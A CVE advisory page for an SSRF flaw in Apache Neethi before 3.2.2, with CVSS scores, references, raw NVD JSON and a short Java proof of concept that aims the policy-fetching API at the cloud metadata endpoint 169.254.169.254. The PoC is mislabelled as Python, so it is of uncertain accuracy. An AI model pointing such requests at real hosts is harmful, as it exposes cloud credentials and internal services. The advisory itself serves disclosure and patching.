CVE-2026-42404

Description

Apache Neethi does not impose any restrictions on URIs when manually fetching remote policy references through the PolicyReference API. When an application explicitly calls the API to retrieve a policy from a remote URI, an outbound request is made for arbitrary protocols and internal IP adddresses. From 3.2.2, only http or https URIs are allowed, and link-local/multicast/any-local addresses are forbidden. Users are recommended to upgrade to version 3.2.2, which fixes this issue.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:neethi:*:*:*:*:*:*:*:* - VULNERABLE

Apache Neethi < 3.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import org.apache.neethi.Policy;
import org.apache.neethi.PolicyEngine;
import java.net.URI;

public class PoC {
    public static void main(String[] args) {
        try {
            // Malicious URI targeting internal metadata service (SSRF)
            String targetUri = "http://169.254.169.254/latest/meta-data/";
            
            // Triggering the vulnerable API call
            Policy policy = PolicyEngine.getPolicy(new URI(targetUri));
            
            System.out.println("Request sent to: " + targetUri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42404
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42404
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42404/
[4] VulDB https://vuldb.com/cve/CVE-2026-42404
[5] https://lists.apache.org/thread/zdspnt64zznyjyn648553kptx69w23oq
[6] http://www.openwall.com/lists/oss-security/2026/05/01/8

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42404", "sourceIdentifier": "[email protected]", "published": "2026-05-01T11:16:19.230", "lastModified": "2026-05-01T18:06:24.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Neethi does not impose any restrictions on URIs when manually fetching remote policy references through the PolicyReference API. When an application explicitly calls the API to retrieve a policy from a remote URI, an outbound request is made for arbitrary protocols and internal IP adddresses. From 3.2.2, only http or https URIs are allowed, and link-local/multicast/any-local addresses are forbidden.\n\nUsers are recommended to upgrade to version 3.2.2, which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:neethi:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.2", "matchCriteriaId": "919C93DA-F5F7-4F2B-AD9B-C3BD46065619"}]}]}], "references": [{"url": "https://lists.apache.org/thread/zdspnt64zznyjyn648553kptx69w23oq", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/01/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}